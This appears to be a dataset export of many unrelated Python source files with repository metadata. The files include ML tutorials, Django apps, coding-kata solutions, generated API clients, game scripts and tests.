blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
ce2b7d07311d2c3f5b17ab13e8c2c369c6c13a21
035e51eadfb4c391a380d4985f2b82716d5dade9
/4-1.Seq2Seq/Seq2Seq.py
874048450ccc3eeada3df47afbd7322a4d31e0be
[ "MIT" ]
permissive
bage79/nlp-tutorial
fa07336c6d0d4f28e5036fdf857702633912405b
801305b9f6d62daa652a3c335009959f0f3d752f
refs/heads/master
2021-07-05T19:23:39.933479
2020-12-11T11:12:26
2020-12-11T11:12:26
210,335,384
3
0
MIT
2019-09-23T11:13:58
2019-09-23T11:13:57
null
UTF-8
Python
false
false
4,312
py
# %% # code by Tae Hwan Jung @graykode import argparse import numpy as np import torch import torch.nn as nn # S: Symbol that shows starting of decoding input # E: Symbol that shows starting of decoding output # P: Symbol that will fill in blank sequence if current batch data size is short than time steps def make_ba...
[ "nlkey2022@gmail.com" ]
nlkey2022@gmail.com
d82aacb1766a56a6ec366a413244151cecbedd3f
6364bb727b623f06f6998941299c49e7fcb1d437
/msgraph-cli-extensions/src/reports/azext_reports/vendored_sdks/reports/aio/_reports_async.py
1d9d705411e28f9c5eacf93474eb657f3973b795
[ "MIT" ]
permissive
kanakanaidu/msgraph-cli
1d6cd640f4e10f4bdf476d44d12a7c48987b1a97
b3b87f40148fb691a4c331f523ca91f8a5cc9224
refs/heads/main
2022-12-25T08:08:26.716914
2020-09-23T14:29:13
2020-09-23T14:29:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,260
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "japhethobalak@gmail.com" ]
japhethobalak@gmail.com
2148a1ec86f693f6250a590af5dd963cab9d67ae
eb4dd92bb28d60b9e967dcf4d3b380a29169774f
/MDRSREID/Settings/parser_args/parser_args.py
1c60704bbc187c0850cc4ab93193e9a881c82bf0
[]
no_license
qianqiansbaby/HJL-re-id
b972c441e780fdb83c176405bc644be4a7d48779
337de9e06fc43de1388fd719c5dea9d2d71f0df6
refs/heads/master
2023-01-10T13:45:02.502919
2020-10-15T12:09:52
2020-10-15T12:09:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,780
py
import argparse def parser_args(): """ :argument: --exp_dir --default_config_path --ow_config_path --ow_str :return: """ parser = argparse.ArgumentParser() parser.add_argument('--model_name', type=str, default='MDR...
[ "nickhuang1996@126.com" ]
nickhuang1996@126.com
3cda84b7006d285ed9ce4c722c48031cff326c35
31dfdbde18ea2844895e453e5ee4a854d1ec35e9
/onlinejudge/_implementation/command/split_input.py
c89385542db4cdc82cf728a6486c97e278548a9c
[ "MIT" ]
permissive
uta8a/online-judge-tools
1d848f91749c4661c71ec527b18ac79a0b1ca419
d9f1209c4e986a881181476c039f5051cd42d75d
refs/heads/master
2020-04-27T07:43:16.882820
2019-03-04T13:17:35
2019-03-04T13:17:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,025
py
# Python Version: 3.x import subprocess import sys import time from typing import * from typing.io import * import onlinejudge import onlinejudge._implementation.logging as log import onlinejudge._implementation.utils as utils if TYPE_CHECKING: import argparse def non_block_read(fh: IO[Any]) -> str: # worka...
[ "kimiyuki95@gmail.com" ]
kimiyuki95@gmail.com
de13c219187366afe4cc847fe551db4d7c1b2c32
505343f6ace00d22f8753c1a943a5794a619e698
/katas/Python/6 kyu/Consecutive strings 56a5d994ac971f1ac500003e.py
1a7200b1a4cf9cbb3c6987b8b4f5039a7fc9099c
[]
no_license
bullet1337/codewars
7652e50bf768bc47976a9124dd98b93602d4d458
ba7f13ddd766158b41e036dae5d6b15f7f08761a
refs/heads/master
2020-03-27T05:04:03.751302
2019-04-30T17:45:39
2019-04-30T17:45:39
145,991,995
1
0
null
null
null
null
UTF-8
Python
false
false
349
py
# https://www.codewars.com/kata/56a5d994ac971f1ac500003e def longest_consec(strarr, k): if len(strarr) == 0 or not(0 < k <= len(strarr)): return '' res = ''.join(strarr[:k]) for i in range(1, len(strarr) - k + 1): x = ''.join(strarr[i:i + k]) if len(x) > len(res): re...
[ "alichek95@mail.ru" ]
alichek95@mail.ru
a4f3c184786b0f88401bb53010992e6b905798c5
5cf71ff8714bf0568394717c6176f371f929555d
/mizql/evacuation/models.py
e0176faf3d9cd45055e5c14d034afab27c9b873e
[ "MIT" ]
permissive
StudioAquatan/mizql
66a9b1a8117dcb1f8dd86c94bb8632e076eb7996
340e44266a97dda846fbc17ce0edf85cee586f51
refs/heads/master
2020-04-04T13:12:54.361363
2018-11-11T06:20:15
2018-11-11T06:20:15
155,953,069
0
0
MIT
2020-03-15T09:21:09
2018-11-03T05:23:07
JavaScript
UTF-8
Python
false
false
4,607
py
from django.db import models from django.contrib.auth import get_user_model from django.db.models.expressions import RawSQL from django.utils import timezone class NearbyShelterManager(models.Manager): def with_distance(self, lat: float, lon: float): """ Shelterクエリセットに対してdistanceカラムを追加する ...
[ "s.kokuryo@gmail.com" ]
s.kokuryo@gmail.com
4b4f8b16ed3a3451ce853106c6e8934456e04fb6
13c2639490aa8cc3ecf891ae3422f0e105dd886e
/order/migrations/0002_auto_20210317_0002.py
f7c72217f08e89a7ab5b6c86813708d6998f5039
[]
no_license
maratovision/rest_api
d32fdfc8d5d8968d2c8ef77aaed05b25d6fa26a0
b734f3cf1c626f4043dbaa0fa7a6f41ebf9cdcae
refs/heads/main
2023-04-08T12:54:40.736337
2021-04-08T20:24:15
2021-04-08T20:24:15
356,038,311
0
0
null
null
null
null
UTF-8
Python
false
false
877
py
# Generated by Django 3.1.7 on 2021-03-16 18:02 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('order', '0001_initial'), ] operations = [ migrations.CreateModel( name='Table', fie...
[ "maratovision@gmail.com" ]
maratovision@gmail.com
aa8ca750eff2dc9bc48404571caa906b5e430e8d
ca259c70bd7e565fa45cf7e9597251e7bbd8f240
/menus/Lighting/ImportRig.py
8d7f775e12661b27003fe7a168840d311f8ef2ba
[]
no_license
gmolinart/blender_pipeline
6ecd01e8efa02a2b9b8f68ece3e82a35d899c73c
1a01d78a697c3fc70e6410b46b5138405d4b542c
refs/heads/master
2023-04-10T04:17:44.349286
2021-04-20T11:14:26
2021-04-20T11:14:26
304,119,928
0
0
null
null
null
null
UTF-8
Python
false
false
1,490
py
import bpy # from cgl.plugins.blender import Alchemy as lm class ImportRig(bpy.types.Operator): """ This class is required to register a button in blender. """ bl_idname = 'object.import_rig' bl_label = 'Import Rig' @classmethod def poll(cls, context): return context.active_object ...
[ "gmolinart@gmail.com" ]
gmolinart@gmail.com
7daec122740e4dd33b266b8e1ae3a1bb2cf663de
a857d1911a118b8aa62ffeaa8f154c8325cdc939
/toontown/minigame/DivingTreasure.py
fbb219a4caf3e31d142fc374c0c2f6bb0918ff6b
[ "MIT" ]
permissive
DioExtreme/TT-CL-Edition
761d3463c829ec51f6bd2818a28b667c670c44b6
6b85ca8352a57e11f89337e1c381754d45af02ea
refs/heads/main
2023-06-01T16:37:49.924935
2021-06-24T02:25:22
2021-06-24T02:25:22
379,310,849
0
0
MIT
2021-06-22T15:07:31
2021-06-22T15:07:30
null
UTF-8
Python
false
false
1,336
py
from direct.showbase.DirectObject import DirectObject from toontown.toonbase.ToontownGlobals import * from direct.directnotify import DirectNotifyGlobal from direct.interval.IntervalGlobal import * import DivingGameGlobals class DivingTreasure(DirectObject): def __init__(self, i): self.treasureNode = rend...
[ "devinhall4@gmail.com" ]
devinhall4@gmail.com
7fb4bde6fd28390cdae70c8247ed6a32b2200435
a4da4b0bee0a6ff500283964f506b578de3701c6
/mva/scripts/dnn_resweights.py
0a023e653d56d116acf1b45904cba9b5fafd4fea
[]
no_license
kondratyevd/H2MuPurdue
4ac012562c02acad6751a1e1ecb6fa1c46d832f5
2c0632ecf083840743ee6d652bb31e4ddde101e2
refs/heads/master
2020-05-14T19:16:46.489982
2019-08-25T21:03:17
2019-08-25T21:03:17
181,926,372
0
0
null
null
null
null
UTF-8
Python
false
false
3,051
py
import os, sys sys.path.append( os.path.dirname( os.path.dirname( os.path.abspath(__file__) ) ) ) import argparse from classifier import Framework from samples.ntuples import * parser = argparse.ArgumentParser(description='') parser.add_argument('--out_path', action='store', dest='output_path', help='Output path') ar...
[ "kondratyev.d.95@gmail.com" ]
kondratyev.d.95@gmail.com
df5831a71a391f87980328438fe5f86926e0ab15
878eecba2d3c6be9df9df0e3d1efb305eb2d7bf5
/manage.py
8fe753e6b0606bce8e97835f42364119c428cc9e
[]
no_license
tarunkarmakardev/ModernTools-landing-page
dfa7e3beb162a774495d3483754861ba656a5d50
ddc811fcb6dcf63ec81d065da2a4e041b94868c0
refs/heads/master
2023-01-27T16:02:24.272707
2020-12-16T05:18:18
2020-12-16T05:18:18
321,691,506
0
0
null
null
null
null
UTF-8
Python
false
false
672
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'moderntools_proj.settings') try: from django.core.management import execute_from_command_line ex...
[ "tarun.karmakar.dev@gmail.com" ]
tarun.karmakar.dev@gmail.com
34a44453130cb2d95cedae4a983ee5c515790b86
ad13583673551857615498b9605d9dcab63bb2c3
/output/instances/nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-minLength-1-2.py
715b946fa5159fb0b19af0b0861cf6fa438d9072
[ "MIT" ]
permissive
tefra/xsdata-w3c-tests
397180205a735b06170aa188f1f39451d2089815
081d0908382a0e0b29c8ee9caca6f1c0e36dd6db
refs/heads/main
2023-08-03T04:25:37.841917
2023-07-29T17:10:13
2023-07-30T12:11:13
239,622,251
2
0
MIT
2023-07-25T14:19:04
2020-02-10T21:59:47
Python
UTF-8
Python
false
false
527
py
from output.models.nist_data.list_pkg.positive_integer.schema_instance.nistschema_sv_iv_list_positive_integer_min_length_1_xsd.nistschema_sv_iv_list_positive_integer_min_length_1 import NistschemaSvIvListPositiveIntegerMinLength1 obj = NistschemaSvIvListPositiveIntegerMinLength1( value=[ 95545636334833145...
[ "tsoulloftas@gmail.com" ]
tsoulloftas@gmail.com
1c9a374e93179c7fbd847ad7da7bc482836d3182
08e2ed7fb3a3080c8cdc46cf7e4cbb2a6e60f90a
/src/game_object/components/glow_component.py
c9dcce079c5157b55879ec2957c6c94e19314bc1
[]
no_license
thydungeonsean/_rainbowmancer
1630b60983719dde77cd1dea267dd15dde855c38
cebaf66f5c69f60f8b6c38492f19b8f1e32f73fe
refs/heads/master
2021-04-28T07:35:06.183408
2018-03-19T19:55:47
2018-03-19T19:55:47
122,226,506
0
0
null
null
null
null
UTF-8
Python
false
false
2,819
py
from game_object_component import GameObjectComponent from src.enum.hues import * class GlowComponent(GameObjectComponent): CYCLE = 24 HALF_CYCLE = CYCLE / 2 def __init__(self, owner, color): GameObjectComponent.__init__(self, owner) self.color_component = color self.pol = 1 ...
[ "marzecsean@gmail.com" ]
marzecsean@gmail.com
42daabc1053796acc91a604a7c3bee3508786c64
15302e92957f4824aa37b9ae524f36ca99f74b2e
/accounts/views.py
7db5acd621b1455666a8b8c2ea6a045899d6faab
[]
no_license
extremesystems/Shakal-NG
4bc76893d1fd486681b6364d4bb306b02e348ce4
40b4f5e70feb3f0f5ef4432b273eb09387232d3d
refs/heads/master
2020-12-25T10:36:34.227509
2013-09-22T12:52:34
2013-09-22T12:52:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,262
py
# -*- coding: utf-8 -*- from datetime import datetime from time import mktime from auth_remember import remember_user from django.conf import settings from django.contrib.auth import get_user_model from django.contrib.auth.decorators import login_required from django.contrib.auth.signals import user_logged_in from dja...
[ "miroslav.bendik@gmail.com" ]
miroslav.bendik@gmail.com
8c52eb808bb173ab14c7a1d035b74b057d83996a
0e0f90024d09ff67bcc1b6608a52b0f9ea11fcc4
/1st_100_questions/LargestperimeterTriangle.py
bcd386f5321df704e8c85a7f5374c0c33b6f7ca0
[]
no_license
newbieeashish/LeetCode_Algo
ffd7122018ad38b890bf96ceb40c75506fb3d3e1
3afaaec3c54787e4646d1472d3f6e7188fb6aec5
refs/heads/master
2022-12-14T22:38:04.433700
2020-09-17T16:42:03
2020-09-17T16:42:03
288,243,041
0
0
null
null
null
null
UTF-8
Python
false
false
723
py
''' Given an array A of positive lengths, return the largest perimeter of a triangle with non-zero area, formed from 3 of these lengths. If it is impossible to form any triangle of non-zero area, return 0. Example 1: Input: [2,1,2] Output: 5 Example 2: Input: [1,2,1] Output: 0 Example 3: Input: [3,2...
[ "noreply@github.com" ]
newbieeashish.noreply@github.com
04bf71b28a823eca83b966aba030e7c3bbab0727
14373275670c1f3065ce9ae195df142146e2c1a4
/stubs/influxdb-client/influxdb_client/domain/measurement_schema_list.pyi
c040b8274502414bdf54a289a3329e40f92554ca
[ "Apache-2.0", "MIT" ]
permissive
sobolevn/typeshed
eb7af17c06a9722f23c337e6b9a4726223155d58
d63a82640390a9c130e0fe7d409e8b0b836b7c31
refs/heads/master
2023-08-04T05:59:29.447015
2023-06-14T21:27:53
2023-06-14T21:27:53
216,265,622
2
0
Apache-2.0
2022-02-08T10:40:53
2019-10-19T20:21:25
Python
UTF-8
Python
false
false
508
pyi
from _typeshed import Incomplete class MeasurementSchemaList: openapi_types: Incomplete attribute_map: Incomplete discriminator: Incomplete def __init__(self, measurement_schemas: Incomplete | None = None) -> None: ... @property def measurement_schemas(self): ... @measurement_schemas.setter...
[ "noreply@github.com" ]
sobolevn.noreply@github.com
e4c391d3b6e866523a631ef0612b77f9ee83c8f0
eefff1251b2807a2a96748f9369336d5cff5622f
/website/apps/cms/plugins/flash/cms_plugins.py
3a7842ed1e8bb1293ab68e7fb6c85860be311a89
[]
no_license
tximikel/pinax-satchmo-buildout
8d669280c5da47315bbfb96d2797a8c7a1d682b5
1e2b8d77fdfc538bd3cb483aa0e549af4e952aa1
refs/heads/master
2021-01-16T01:27:09.320052
2009-09-15T23:36:33
2009-09-15T23:36:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
665
py
from cms.plugin_pool import plugin_pool from cms.plugin_base import CMSPluginBase from django.utils.translation import ugettext_lazy as _ from models import Flash from django.template.loader import render_to_string from django.utils.safestring import mark_safe from cms.plugins.flash.forms import FlashForm clas...
[ "harley@harley-desktop.(none)" ]
harley@harley-desktop.(none)
5dfadd0ce45da68215a76c87b5ea34b22ff7c046
449da7b08bb82654028967aa0fa8efce8b2b10d2
/adapter/sites/open/blueking/tests/test_utils.py
cb3cafb4a70dfb7eafbd0a1c3739411cac218684
[]
no_license
sdgdsffdsfff/bk-dop
f1ae15f858f6236405e50e9453554026d2bcfd21
97cfac2ba94d67980d837f0b541caae70b68a595
refs/heads/master
2023-08-31T22:24:30.616269
2021-10-19T17:56:36
2021-10-19T17:56:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
829
py
# -*- coding: utf-8 -*- from django.test import TestCase from blueking.component.utils import get_signature class TestUtils(TestCase): def test_get_signature(self): params = { 'method': 'GET', 'path': '/blueking/component/', 'app_secret': 'test', 'params': ...
[ "1297650644@qq.com" ]
1297650644@qq.com
14ef745c146208d2df666127b33858c6be7b7e28
711756b796d68035dc6a39060515200d1d37a274
/output_cog_tags/initial_9549.py
45f1b9acca999586745f601672e163547da344a4
[]
no_license
batxes/exocyst_scripts
8b109c279c93dd68c1d55ed64ad3cca93e3c95ca
a6c487d5053b9b67db22c59865e4ef2417e53030
refs/heads/master
2020-06-16T20:16:24.840725
2016-11-30T16:23:16
2016-11-30T16:23:16
75,075,164
0
0
null
null
null
null
UTF-8
Python
false
false
4,328
py
import _surface import chimera try: import chimera.runCommand except: pass from VolumePath import markerset as ms try: from VolumePath import Marker_Set, Link new_marker_set=Marker_Set except: from VolumePath import volume_path_dialog d= volume_path_dialog(True) new_marker_set= d.new_marker_set marker_set...
[ "batxes@gmail.com" ]
batxes@gmail.com
9148c4700e17b1eaf522d5d491ca64143dd99ec5
4382c60f18aba351a2e7cdab7ce2793c2d27717c
/Algorithm 190821 holefly/maze.py
12f18e9fb2494b562c1a9664481cda999c37fabd
[]
no_license
vxda7/pycharm
e550b1db4cabe1a0fa03e140f33b028ef08bd4cb
ce29f682a923875b62a8c7c0102790eef11ab156
refs/heads/master
2020-07-03T11:27:27.807096
2019-11-15T08:50:32
2019-11-15T08:50:32
201,891,357
0
0
null
null
null
null
UTF-8
Python
false
false
2,261
py
import sys sys.stdin = open("sample_input.txt", "r") def find(scol, srow): global maze global N dl = [0, 1, 0, -1] dr = [1, 0, -1, 0] queue = [] visited = [[0] * N for _ in range(N)] queue.append([scol, srow]) visited[scol][srow] = 1 while len(queue) != 0: n = queue.pop(0) ...
[ "vxda77@gmail.com" ]
vxda77@gmail.com
a7ef82ec99d2dabda3ce6ccfe98cbfd0a087bfa6
61f9553eedc2ec936ea87f06da5b986091e3b8ff
/workspace/buildout-cache/eggs/plone.scale-1.3.2-py2.7.egg/plone/scale/tests/test_storage.py
21725c874ed3e430c1fe7398bda865efc9f11528
[]
no_license
gruhter/gso
47880b055455cc99d63eec72498048c857e7831b
c0eb949f8a06aab6b97329d51a6d046e2fc0a653
refs/heads/master
2016-09-01T18:28:05.589620
2015-05-14T19:38:18
2015-05-14T19:38:18
35,579,298
0
0
null
null
null
null
UTF-8
Python
false
false
3,910
py
from unittest import TestCase from operator import itemgetter, setitem, delitem class AnnotationStorageTests(TestCase): @property def storage(self): from plone.scale.storage import AnnotationStorage storage = AnnotationStorage(None) storage.modified = lambda: 42 storage.storag...
[ "gso@abv.bg" ]
gso@abv.bg
1e69296fbfffb99ccc5b1dbd9d7b72ffe89f647c
0c1cf007f9d5d00ceefaf7be57e3f81c1c49fb11
/lightning_asr/vocabs/vocab.py
17fabbd392c30c01608d1d345c8c6597f8a21c1f
[ "MIT" ]
permissive
sooftware/lightning-asr
f345f34dce132a6ccdb393b74c1f9bf0e1ccaac8
3b4d8222fad15c90a8c9b44ecacd67f309b34124
refs/heads/main
2023-04-30T17:46:21.737471
2021-05-19T11:56:33
2021-05-19T11:56:33
357,467,261
16
5
MIT
2021-05-12T14:22:05
2021-04-13T07:46:44
Python
UTF-8
Python
false
false
1,539
py
# MIT License # # Copyright (c) 2021 Soohwan Kim # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, ...
[ "sooftware@Soohwanui-MacBookPro.local" ]
sooftware@Soohwanui-MacBookPro.local
79fef1c980fcdf38f5a02fdcb06e729cab57c0de
e5baa5ba65c5cb80b38203b28c064a475aa63693
/WebContent/mod/topic/new_topic.py
4897608329e28377dddb01bf792972cf897abd83
[]
no_license
yxxcrtd/jitar2012
bbe00b1eb2e505400dcfec396201752c3888199c
ccae07ff44a3cb9dc3d0b75673cbca699fa66b80
refs/heads/master
2020-05-31T15:26:40.107486
2019-06-05T08:05:22
2019-06-05T08:05:22
190,352,419
0
0
null
null
null
null
UTF-8
Python
false
false
2,552
py
#encoding=utf-8 from java.util import Date from java.util import HashMap from java.lang import String from common_data import CommonData from cn.edustar.jitar.pojos import PlugInTopic class new_topic(CommonData): def __init__(self): CommonData.__init__(self) def execute(self...
[ "yxxcrtd@gmail.com" ]
yxxcrtd@gmail.com
21330b565fa24100c359cf64c8463de47eb289ee
0bc0db1edc610c9f08261c777d06cb1be4b7a524
/lgp/pythonSpider/ch1/2sequence.py
456331e43c37d521807a7df0690c84becd95827e
[]
no_license
danpianji/python3.7
9bc7f9a765ec76d7d4c5fb413dcdada4f9e8f510
f66bc7139f9441583b1043d3da11597987e3fbc0
refs/heads/master
2020-12-28T14:49:41.410708
2019-05-19T10:13:32
2019-05-19T10:13:32
null
0
0
null
null
null
null
UTF-8
Python
false
false
273
py
# -*- coding: UTF-8 -*- #序列化操作 try: import cPickle as pickle except: import pickle dict = {"name":"lgp", "age":20, "sex":'M'} str = pickle.dumps(dict) print str dict2 = pickle.loads(str) print dict2 #也可以将序列化的字符串写入文件存储
[ "liguangpei1@163.com" ]
liguangpei1@163.com
bcb656a6cc79492be26ef9deb258a8808e3aa15d
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/58DYAThA2dxnAsMpL_16.py
61ef3bf2cf1af1f68ed181455ccc260b229bfe59
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
564
py
""" Create a function which returns a list of _booleans_ , from a given number. Iterating through the number one digit at a time, append `True` if the digit is 1 and `False` if it is 0. ### Examples integer_boolean("100101") ➞ [True, False, False, True, False, True] integer_boolean("10") ➞ [True, Fals...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
a01572aa4eb23712a34425bf2c293005f7247ea3
304e75224229786ba64c6ef2124007c305019b23
/src/easy/test_make_two_arrays_equal_by_reversing_sub_arrays.py
00f2070eb7ce459d4e058cc5a5255feacc815c15
[]
no_license
Takuma-Ikeda/other-LeetCode
9179a8100e07d56138fd3f3f626951195e285da2
499616d07011bee730b9967e9861e341e62d606d
refs/heads/master
2023-04-14T06:09:35.341039
2023-04-10T02:29:18
2023-04-10T02:29:18
226,260,312
1
0
null
null
null
null
UTF-8
Python
false
false
897
py
import unittest from answer.make_two_arrays_equal_by_reversing_sub_arrays import Solution class TestSolution(unittest.TestCase): def setUp(self): self.target = [ [1, 2, 3, 4], [7], [1, 12], [3, 7, 9], [1, 1, 1, 1, 1], ] self.arr ...
[ "el.programdear@gmail.com" ]
el.programdear@gmail.com
d0d9bc0c393953fc4d66a087de4a0606ec41154a
558cc75ea0e093f0b27197654bd0162cce688e03
/social_network/migrations/0026_auto_20200421_1257.py
f3eb7084107ea6ba18e1d6df8806d5a2e038e20b
[]
no_license
seniordev0425/Python-Rafflee
89766de8bad96ca919a34df2f0820d24b9258808
37da2e7a37a0b0b5332ff036f80814598ed57c0b
refs/heads/master
2022-11-26T20:46:32.082517
2020-08-07T03:01:21
2020-08-07T03:01:21
285,723,146
0
0
null
null
null
null
UTF-8
Python
false
false
490
py
# Generated by Django 2.2.12 on 2020-04-21 12:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('social_network', '0025_auto_20200421_1249'), ] operations = [ migrations.AlterField( model_name='socialaction', nam...
[ "seniordev0425@gmail.com" ]
seniordev0425@gmail.com
1966df5213bd6122c4be02f75e2f4bcc6599ffe1
21962ae2b724f4679683dab3f30306f59e6da834
/pylastests/test_header.py
49e238a807790d4374c6b55a4018de7aed87d511
[ "BSD-3-Clause" ]
permissive
GeolearnAI/pylas
7b54178809ee6f7a60525f6ad85ad58385b99310
7a5bbada702d927e4f78d5c2883dcc98f808d831
refs/heads/master
2022-09-18T11:28:45.593005
2020-06-06T12:23:58
2020-06-06T12:23:58
278,429,549
0
0
null
2020-07-09T17:32:31
2020-07-09T17:32:31
null
UTF-8
Python
false
false
3,146
py
import pylas from pylastests import test_common all_las_but_1_4 = test_common.all_las_but_1_4 def test_number_of_points_return_is_updated(all_las_but_1_4): las = all_las_but_1_4 nb_points = len(las.points_data) nb_slice = 3 r = las.return_number for i in reversed(range(nb_slice)): r[i ...
[ "thomas.montaigu@laposte.net" ]
thomas.montaigu@laposte.net
905af0071c737e9ee131d302fd623eb668532ec3
ef3a7391b0a5c5d8e276355e97cbe4de621d500c
/venv/Lib/site-packages/spacy/tests/lang/en/test_text.py
a7ebde9898add7b47514cf89f800b00e9f28a74b
[ "Apache-2.0" ]
permissive
countBMB/BenjiRepo
143f6da5d198ea6f06404b4559e1f4528b71b3eb
79d882263baaf2a11654ca67d2e5593074d36dfa
refs/heads/master
2022-12-11T07:37:04.807143
2019-12-25T11:26:29
2019-12-25T11:26:29
230,090,428
1
1
Apache-2.0
2022-12-08T03:21:09
2019-12-25T11:05:59
Python
UTF-8
Python
false
false
1,898
py
# coding: utf-8 from __future__ import unicode_literals import pytest from spacy.lang.en.lex_attrs import like_num def test_en_tokenizer_handles_long_text(en_tokenizer): text = """Tributes pour in for late British Labour Party leader Tributes poured in from around the world Thursday to the late Labour Party lea...
[ "bengmen92@gmail.com" ]
bengmen92@gmail.com
834f1bf7004dbffd444b639a44a6dd308b70ec95
796b8a166edc28dd04d23244b698742a607bc23f
/Leetcode/140. Word Break II.py
f899b9fa0812e2d472653987c6dc2e7d94fa7583
[]
no_license
brlala/Educative-Grokking-Coding-Exercise
54f18309d89784fbf9452b5b609cd30e54378c46
e50dc0642f087f37ab3234390be3d8a0ed48fe62
refs/heads/master
2023-04-22T07:34:37.360508
2021-05-02T11:16:47
2021-05-02T11:16:47
299,006,488
3
1
null
null
null
null
UTF-8
Python
false
false
789
py
class Solution: def wordBreak(self, s: str, wordDict: list[str]) -> list[str]: """ https://leetcode.com/problems/word-break-ii/discuss/44368/Python-easy-to-understand-solutions-(memorization%2BDFS-DP%2BDFS) """ memo = {} return self.dfs(s, set(wordDict), memo) def dfs(se...
[ "liheng@pand.ai" ]
liheng@pand.ai
a9d4ac0dc4600aad5c813e4f10bbfc32474689da
5c099927aedc6fdbc515f40ff543c65b3bf4ec67
/algorithms/reach-a-number/src/Solution.py
d0db1844032445cbf8a4d7b18d9dca9e6ff0fe52
[]
no_license
bingzhong-project/leetcode
7a99cb6af1adfbd9bb1996a7f66a65679053c478
ba82e7d94840b3fec272e4c5f82e3a2cfe4b0505
refs/heads/master
2020-04-15T09:27:33.979519
2020-03-10T03:43:07
2020-03-10T03:43:07
164,550,933
0
0
null
null
null
null
UTF-8
Python
false
false
242
py
class Solution: def reachNumber(self, target: int) -> int: target = abs(target) res = 0 sum = 0 while sum < target or (sum - target) % 2 == 1: res += 1 sum += res return res
[ "zhongyongbin@foxmail.com" ]
zhongyongbin@foxmail.com
149ae6b89e08984c8892fd21814a9ce971fb68fc
cad9c13ad5864317d7687b44f39db42a402f36f0
/lec03_function/memory_model.py
e0d53d8b99bd2f5313bda8b0570513bc336febf0
[]
no_license
handaeho/lab_python
12b686eb0d57358509f2d0cd607064deced5b25d
da068ea62682ffa70c7d23dde4ef132c49a81364
refs/heads/master
2020-11-26T08:22:27.656109
2020-04-13T02:28:47
2020-04-13T02:28:47
229,013,932
0
0
null
null
null
null
UTF-8
Python
false
false
2,147
py
""" 파이썬 메모리 모델 - 파이썬이 변수들의 메모리 공간을 관리하는 방법. """ n1 = 1 print(f'주소 : {id(n1)}, 저장된 값 : {n1}') # 주소 : 140719357063440, 저장된 값 : 1 n2 = n1 print(f'주소 = {id(n2)}, 저장된 값 = {n2}') # 주소 = 140719357063440, 저장된 값 = 1 n2 = 2 print(f'주소 = {id(n2)}, 저장된 값 = {n2}') # 주소 = 140719357063472, 저장된 값 = 2 n3 = 1 print(f'주소 = {id(n3)}, 저...
[ "mrdh94@naver.com" ]
mrdh94@naver.com
dd9bf12890563e9f4e394367ee17592436c4db4e
c2210b7012d2cd608ba1c350169107fe79584568
/helmet_seatbelt/src/python3/websocket-test0.py
05cf8c319d37e16fb10b6e2696f67f4e190b8d93
[]
no_license
ISCAS007/demo
9165eb2765f35a93abf790977358b55a39cb5d7d
92addff2e4a09f58ac405b9ce155f79604ac8169
refs/heads/master
2023-05-09T18:14:38.153027
2019-12-03T03:22:38
2019-12-03T03:22:38
375,907,498
0
0
null
null
null
null
UTF-8
Python
false
false
479
py
#!/usr/bin/env python3 import asyncio import websockets import sys @asyncio.coroutine def hello(): websocket = yield from websockets.connect('ws://t.qdrise.com.cn:1234/') try: name=sys.argv[1] yield from websocket.send(name) print("> {}".format(name)) greeting = yield from we...
[ "youdaoyzbx@163.com" ]
youdaoyzbx@163.com
c3d423561ba81e648124b4013b007394c0427eff
e665fe109ce9823d965e303ca8677b5a065ad9df
/mission/runner.py
d1907d30f805a18b3e0801c7c0ac9525481d2f53
[ "BSD-3-Clause" ]
permissive
deciament/software
822a704dfaab84f5260a284271cdec1b3664b94f
06ad1d9ea239d116252510beed248bc6031cd622
refs/heads/master
2021-01-14T12:40:04.946245
2015-12-31T02:28:33
2015-12-31T02:28:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,653
py
#!/usr/bin/env python3.4 import time, argparse, traceback, sys, datetime, os, shm # Note: this is a hack; will only function if your PYTHONPATH is solely the standard software one (~/cuauv/software; i.e. the root directory of the repo) pythonpath = os.environ.get('PYTHONPATH') sys.path.append(pythonpath + '/mission')...
[ "software@cuauv.org" ]
software@cuauv.org
